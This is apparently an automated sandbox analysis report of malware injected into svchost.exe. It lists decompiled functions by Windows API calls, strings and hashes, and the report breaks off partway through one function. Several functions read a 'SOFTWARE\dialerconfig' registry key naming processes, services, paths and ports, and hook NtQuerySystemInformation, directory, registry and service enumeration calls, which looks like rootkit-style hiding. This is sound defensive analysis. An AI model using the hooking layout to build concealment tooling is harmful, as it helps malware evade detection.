Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: dcf103bb4589dd5b540d64a674de9561a88b06da2b8737606ccbc7e3f2d77857
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: C1111C32218B80C2EBA18F15E54425DBBA5F798BA8F584225DF8D1BB68DF39C555CB00

Function 0000026A879CD65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000026A879CD68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000026A879CD6A7

Strings

InitializeCriticalSectionEx, xrefs: 0000026A879CD681

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: 03b0360fd42107760eec48b338194edc7a88d918eba2d166d42b9dffb87d2d1d
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: 88F0E231314B8082FBD4DB41F50829C7F20ABC8B80F884025AE4D23B24CF3AC994CF02

Function 0000026A8799CB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000026A8799CBC5

Strings

November, xrefs: 0000026A8799CBA8, 0000026A8799CBB2
October, xrefs: 0000026A8799CBBE

Memory Dump Source

Source File: 0000001B.00000002.2929010361.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a87990000_svchost.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: 9650eb30da5b7a6529ee697977e8b296c7743997b23b3ce03466238b801360dd
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: 54E0927120554192FB84DB69F8483ECB221DBA4740F695022951927362CF3ACC86CB42

Function 0000026A879CD608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000026A879CD631
TlsSetValue.KERNEL32 ref: 0000026A879CD648

Strings

FlsSetValue, xrefs: 0000026A879CD61E

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: 35d45f319071ec7e043f06cd9aaf194d67642004657d02158ade06abddba33c1
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: E2E06D71204A4092FED4CB54F90C69C7E22ABC8780F988022D90D27365CE3AC895CF12

Function 0000026A879C1D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C1D9B
HeapAlloc.KERNEL32 ref: 0000026A879C1DAA
GetProcessHeap.KERNEL32 ref: 0000026A879C1E1E
HeapFree.KERNEL32 ref: 0000026A879C1E2C

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: b0d2f8c75bfc013734b9faa92ae29b0f6fef55afc5c9f2525d95d49fb7accf6f
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: 95218172644B80C2EF91CF69A40825EBBA0FBC8B94F554110EE8CA7B25FF79C5428B05

Function 0000026A879C1274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C127A
HeapAlloc.KERNEL32 ref: 0000026A879C1289
GetProcessHeap.KERNEL32 ref: 0000026A879C12A3
HeapAlloc.KERNEL32 ref: 0000026A879C12B4

Memory Dump Source

Source File: 0000001B.00000002.2930009936.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: 98d8d3de4ce2ba425b96842ab48ec1da97cf51971eb9959754a84dd95e99a7c2
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: 89E0C2B1A11A02C6F748DBA6D81835A7EE1EB88B52F49C024C94D07360DF7EC49ACB91

Analysis Process: svchost.exePID: 356, Parent PID: 7912COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	515
Total number of Limit Nodes:	3

Executed Functions

Function 00000179537A1274 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A127A
HeapAlloc.KERNEL32 ref: 00000179537A1289
GetProcessHeap.KERNEL32 ref: 00000179537A12A3
HeapAlloc.KERNEL32 ref: 00000179537A12B4

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: 6e7ad4a23ee113c94972afa18e5892f6c1cf9dab88b3806c5c8dc1af32ac5ff3
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: 2AE039B1A11A14C6F7058BA2D82438937F5EB89B06F488024C90907350EF7D84D9C740

Function 00000179537A3458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000179537A347A
PathFindFileNameW.SHLWAPI ref: 00000179537A3489

Part of subcall function 00000179537A3930: StrCmpNIW.SHLWAPI ref: 00000179537A3948

Part of subcall function 00000179537A3878: GetModuleHandleW.KERNEL32 ref: 00000179537A3886
Part of subcall function 00000179537A3878: GetCurrentProcess.KERNEL32 ref: 00000179537A38B4
Part of subcall function 00000179537A3878: VirtualProtectEx.KERNEL32 ref: 00000179537A38D6
Part of subcall function 00000179537A3878: GetCurrentProcess.KERNEL32 ref: 00000179537A38F4
Part of subcall function 00000179537A3878: VirtualProtectEx.KERNEL32 ref: 00000179537A3915

CreateThread.KERNEL32 ref: 00000179537A34D7

Part of subcall function 00000179537A1EB4: GetCurrentThread.KERNEL32 ref: 00000179537A1EBF

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: 23a82a55378c246d0ec841d76e9cecdd68e5164837a20dfb0eba84c5fef6eec4
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: FE115B71E3C63182F7639BA1B8563E923F0EB5670DF54012B9A4E86B94EF39C08CC650

Function 00000179537AD130 Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00000179537AD149
FreeEnvironmentStringsW.KERNEL32 ref: 00000179537AD20D

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 6655d75d81b3f5d3cdd8ffb71a0db4099f6c7b3c7a68dca63c88ca8711a21244
Instruction ID: 79042b1d93504cc8c4419d3936fb3a924f44f0128a7a967f3d6c629648fc6a81
Opcode Fuzzy Hash: 6655d75d81b3f5d3cdd8ffb71a0db4099f6c7b3c7a68dca63c88ca8711a21244
Instruction Fuzzy Hash: 8F21CC31F28BA481E6219F16A45029AB7B4F78AFD4F4D4126DF9D63BD4DF38C5568300

Function 00000179537A1C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000179537A1650: GetProcessHeap.KERNEL32 ref: 00000179537A165B
Part of subcall function 00000179537A1650: HeapAlloc.KERNEL32 ref: 00000179537A166A
Part of subcall function 00000179537A1650: RegOpenKeyExW.ADVAPI32 ref: 00000179537A16DA
Part of subcall function 00000179537A1650: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1707
Part of subcall function 00000179537A1650: RegCloseKey.ADVAPI32 ref: 00000179537A1721
Part of subcall function 00000179537A1650: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1741
Part of subcall function 00000179537A1650: RegCloseKey.ADVAPI32 ref: 00000179537A175C
Part of subcall function 00000179537A1650: RegOpenKeyExW.ADVAPI32 ref: 00000179537A177C
Part of subcall function 00000179537A1650: RegCloseKey.ADVAPI32 ref: 00000179537A1797
Part of subcall function 00000179537A1650: RegOpenKeyExW.ADVAPI32 ref: 00000179537A17B7
Part of subcall function 00000179537A1650: RegCloseKey.ADVAPI32 ref: 00000179537A17D2
Part of subcall function 00000179537A1650: RegOpenKeyExW.ADVAPI32 ref: 00000179537A17F2

Sleep.KERNEL32 ref: 00000179537A1C43
SleepEx.KERNEL32 ref: 00000179537A1C49

Part of subcall function 00000179537A1650: RegCloseKey.ADVAPI32 ref: 00000179537A180D
Part of subcall function 00000179537A1650: RegOpenKeyExW.ADVAPI32 ref: 00000179537A182D
Part of subcall function 00000179537A1650: RegCloseKey.ADVAPI32 ref: 00000179537A1848
Part of subcall function 00000179537A1650: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1868
Part of subcall function 00000179537A1650: RegCloseKey.ADVAPI32 ref: 00000179537A1883
Part of subcall function 00000179537A1650: RegOpenKeyExW.ADVAPI32 ref: 00000179537A18A3
Part of subcall function 00000179537A1650: RegCloseKey.ADVAPI32 ref: 00000179537A18BE
Part of subcall function 00000179537A1650: RegCloseKey.ADVAPI32 ref: 00000179537A18C8

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: d488d6aa4593b88235e9775f50eab7aee9e96ec915b67486a12f707cea035321
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: 65311239B2862191FB529F36E9513EA13F5AB46BDCF844023DE0F977D6EE24C858C250

Function 00000179537A3930 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000179537A3948

Strings

dialer, xrefs: 00000179537A3941

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction ID: 3f8ff65858361c2d21231e026d063f1c7926eae38b6c62a91ddaf41afc421b43
Opcode Fuzzy Hash: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction Fuzzy Hash: 00D0A730B2961B86FF66DFE188E16E02370EB0670CF448033CA0902714EB198DCDCB10

Function 0000017953772908 Relevance: 1.7, APIs: 1, Instructions: 186
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000017953772A31

Memory Dump Source

Source File: 0000001C.00000002.2926338703.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_17953770000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: 003fea010ce0f30714eb2280857b421f9bd90d63a9d1c744e4eabe7933ad54f1
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: B0612432B0566187EB6ACF15D4847ACB3E1FB46B98F548026DE2D07795EB38E857CB00

Non-executed Functions

Function 00000179537A2CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000179537A2D80
lstrlenW.KERNEL32 ref: 00000179537A2FBA

Part of subcall function 00000179537A1A14: OpenProcess.KERNEL32 ref: 00000179537A1A3A
Part of subcall function 00000179537A1A14: K32GetModuleFileNameExW.KERNEL32 ref: 00000179537A1A58
Part of subcall function 00000179537A1A14: PathFindFileNameW.SHLWAPI ref: 00000179537A1A67
Part of subcall function 00000179537A1A14: lstrlenW.KERNEL32 ref: 00000179537A1A73
Part of subcall function 00000179537A1A14: StrCpyW.SHLWAPI ref: 00000179537A1A86
Part of subcall function 00000179537A1A14: CloseHandle.KERNEL32 ref: 00000179537A1A94

GetProcAddress.KERNEL32 ref: 00000179537A2D95

Part of subcall function 00000179537A1554: StrCmpIW.SHLWAPI ref: 00000179537A1585

Part of subcall function 00000179537A3930: StrCmpNIW.SHLWAPI ref: 00000179537A3948

StrCmpNIW.SHLWAPI ref: 00000179537A2DD8
lstrlenW.KERNEL32 ref: 00000179537A2F00

Strings

ntdll.dll, xrefs: 00000179537A2D79
NtQueryObject, xrefs: 00000179537A2D8B
\Device\Nsi, xrefs: 00000179537A2DCB

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 49fe3da7658472f80655a8590b1efea23276f7a9504431454da11e10ce33b624
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: 8CB1CF32A28A6482FB6A8F65D4547E9A3B5F746B8CF545017EE4D53B94EF34CC88C340

Function 00000179537A7E70 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000179537A7E8C
RtlCaptureContext.NTDLL ref: 00000179537A7EB9
RtlLookupFunctionEntry.NTDLL ref: 00000179537A7ED3
RtlVirtualUnwind.NTDLL ref: 00000179537A7F14
IsDebuggerPresent.KERNEL32 ref: 00000179537A7F68
SetUnhandledExceptionFilter.KERNEL32 ref: 00000179537A7F89
UnhandledExceptionFilter.KERNEL32 ref: 00000179537A7F94

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: e8bfa415f41d31c475037110bcc008507386401fbc5a7cc04ea91d7088d21a7c
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: 25317072618B9096EB618FA0E8507EE7371F789748F44442BDA4D47B98EF38C64CC710

Function 00000179537AB50C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000179537AB585
RtlLookupFunctionEntry.NTDLL ref: 00000179537AB59D
RtlVirtualUnwind.NTDLL ref: 00000179537AB5D8
IsDebuggerPresent.KERNEL32 ref: 00000179537AB611
SetUnhandledExceptionFilter.KERNEL32 ref: 00000179537AB61B
UnhandledExceptionFilter.KERNEL32 ref: 00000179537AB626

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: ba80b338ea6e5c069091e1c0105fe7063c03fcc6fd82a0caca0eb8104bb9595a
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 17319E32618F9096EB61CF65E8503DE73B4F78A758F540126EA9D43BA8EF38C549CB00

Function 00000179537AFEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000179537AFF67
WriteFile.KERNEL32 ref: 00000179537B021E
WriteFile.KERNEL32 ref: 00000179537B0270
GetLastError.KERNEL32 ref: 00000179537B0372
GetLastError.KERNEL32 ref: 00000179537B03D2

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: ee1056d205be9449170eb33c58af6fcd7c72c5137feb072d1d733fa74b030031
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: 16E1FF32B18AA09AE712CF64D4942DE7BB1F34678CF144517EE8E57B99EB38C51AC700

Function 00000179537A1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A165B
HeapAlloc.KERNEL32 ref: 00000179537A166A

Part of subcall function 00000179537A1274: GetProcessHeap.KERNEL32 ref: 00000179537A127A
Part of subcall function 00000179537A1274: HeapAlloc.KERNEL32 ref: 00000179537A1289
Part of subcall function 00000179537A1274: GetProcessHeap.KERNEL32 ref: 00000179537A12A3
Part of subcall function 00000179537A1274: HeapAlloc.KERNEL32 ref: 00000179537A12B4

RegOpenKeyExW.ADVAPI32 ref: 00000179537A16DA
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1707
RegCloseKey.ADVAPI32 ref: 00000179537A1721
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1741
RegCloseKey.ADVAPI32 ref: 00000179537A175C
RegOpenKeyExW.ADVAPI32 ref: 00000179537A177C
RegCloseKey.ADVAPI32 ref: 00000179537A1797
RegOpenKeyExW.ADVAPI32 ref: 00000179537A17B7
RegCloseKey.ADVAPI32 ref: 00000179537A17D2
RegOpenKeyExW.ADVAPI32 ref: 00000179537A17F2
RegCloseKey.ADVAPI32 ref: 00000179537A180D
RegOpenKeyExW.ADVAPI32 ref: 00000179537A182D
RegCloseKey.ADVAPI32 ref: 00000179537A1848
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1868
RegCloseKey.ADVAPI32 ref: 00000179537A1883
RegOpenKeyExW.ADVAPI32 ref: 00000179537A18A3
RegCloseKey.ADVAPI32 ref: 00000179537A18BE
RegCloseKey.ADVAPI32 ref: 00000179537A18C8

Part of subcall function 00000179537A12C8: RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A1326
Part of subcall function 00000179537A12C8: GetProcessHeap.KERNEL32 ref: 00000179537A1334
Part of subcall function 00000179537A12C8: HeapAlloc.KERNEL32 ref: 00000179537A1345
Part of subcall function 00000179537A12C8: RegEnumValueW.ADVAPI32 ref: 00000179537A13A1
Part of subcall function 00000179537A12C8: GetProcessHeap.KERNEL32 ref: 00000179537A13E9
Part of subcall function 00000179537A12C8: HeapAlloc.KERNEL32 ref: 00000179537A13F7
Part of subcall function 00000179537A12C8: GetProcessHeap.KERNEL32 ref: 00000179537A141B
Part of subcall function 00000179537A12C8: HeapFree.KERNEL32 ref: 00000179537A1429
Part of subcall function 00000179537A12C8: lstrlenW.KERNEL32 ref: 00000179537A1432
Part of subcall function 00000179537A12C8: GetProcessHeap.KERNEL32 ref: 00000179537A1440
Part of subcall function 00000179537A12C8: HeapAlloc.KERNEL32 ref: 00000179537A144E

Strings

udp, xrefs: 00000179537A189C
paths, xrefs: 00000179537A17B0
tcp_remote, xrefs: 00000179537A1861
process_names, xrefs: 00000179537A1775
pid, xrefs: 00000179537A173A
SOFTWARE\dialerconfig, xrefs: 00000179537A16BA
service_names, xrefs: 00000179537A17EB
startup, xrefs: 00000179537A16FD
tcp_local, xrefs: 00000179537A1826

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 4a52f6432ecd7d29496339e7aee66de67061697f76576b81f9c784fbe780843a
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: D7710D36B14A6885FB129F66E8606D937B5FB86B8CF405122DE4D57B68EF38C489C700

Function 00000179537A12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A1326
GetProcessHeap.KERNEL32 ref: 00000179537A1334
HeapAlloc.KERNEL32 ref: 00000179537A1345
RegEnumValueW.ADVAPI32 ref: 00000179537A13A1

Part of subcall function 00000179537A1554: StrCmpIW.SHLWAPI ref: 00000179537A1585

GetProcessHeap.KERNEL32 ref: 00000179537A13E9
HeapAlloc.KERNEL32 ref: 00000179537A13F7
GetProcessHeap.KERNEL32 ref: 00000179537A141B
HeapFree.KERNEL32 ref: 00000179537A1429
lstrlenW.KERNEL32 ref: 00000179537A1432
GetProcessHeap.KERNEL32 ref: 00000179537A1440
HeapAlloc.KERNEL32 ref: 00000179537A144E
StrCpyW.SHLWAPI ref: 00000179537A1470
GetProcessHeap.KERNEL32 ref: 00000179537A1485
HeapFree.KERNEL32 ref: 00000179537A1493

Strings

d, xrefs: 00000179537A1365

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: 242f178902969ed05e7db39c4f9884770abd5e876cc59087611c71ca94d681af
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: D651A072A18B5493FB11CFA6E45439AB3B5F78AB88F448126DB4D47B14EF38D499CB00

Function 00000179537A1EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000179537A1EBF

Part of subcall function 00000179537A2174: GetModuleHandleA.KERNEL32 ref: 00000179537A218C
Part of subcall function 00000179537A2174: GetProcAddress.KERNEL32 ref: 00000179537A219D

Part of subcall function 00000179537A5C10: GetCurrentThreadId.KERNEL32 ref: 00000179537A5C4B

Strings

sechost.dll, xrefs: 00000179537A1FD9
EnumServiceGroupW, xrefs: 00000179537A1F90
NtEnumerateKey, xrefs: 00000179537A1F59
NtQueryDirectoryFileEx, xrefs: 00000179537A1F3C
ntdll.dll, xrefs: 00000179537A1ECD
NtDeviceIoControlFile, xrefs: 00000179537A1FF6
EnumServicesStatusExW, xrefs: 00000179537A1FB1, 00000179537A1FD2
advapi32.dll, xrefs: 00000179537A1F97, 00000179537A1FB8
NtEnumerateValueKey, xrefs: 00000179537A1F76
NtQuerySystemInformation, xrefs: 00000179537A1EE5
NtQueryDirectoryFile, xrefs: 00000179537A1F1F
NtResumeThread, xrefs: 00000179537A1F02

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: f26b529a3a280a1e3bc0626f675bd49583e0889ff9157c4ab1e27ec038f586aa
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: FE31B270E29A6AA0FB47FF64E8616D42371B74634CFC05423E91E13765AE38C68DCB90

Function 00000179537A23F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000179537A2405
GetCurrentProcessId.KERNEL32 ref: 00000179537A240F

Part of subcall function 00000179537A19AC: OpenProcess.KERNEL32 ref: 00000179537A19CA
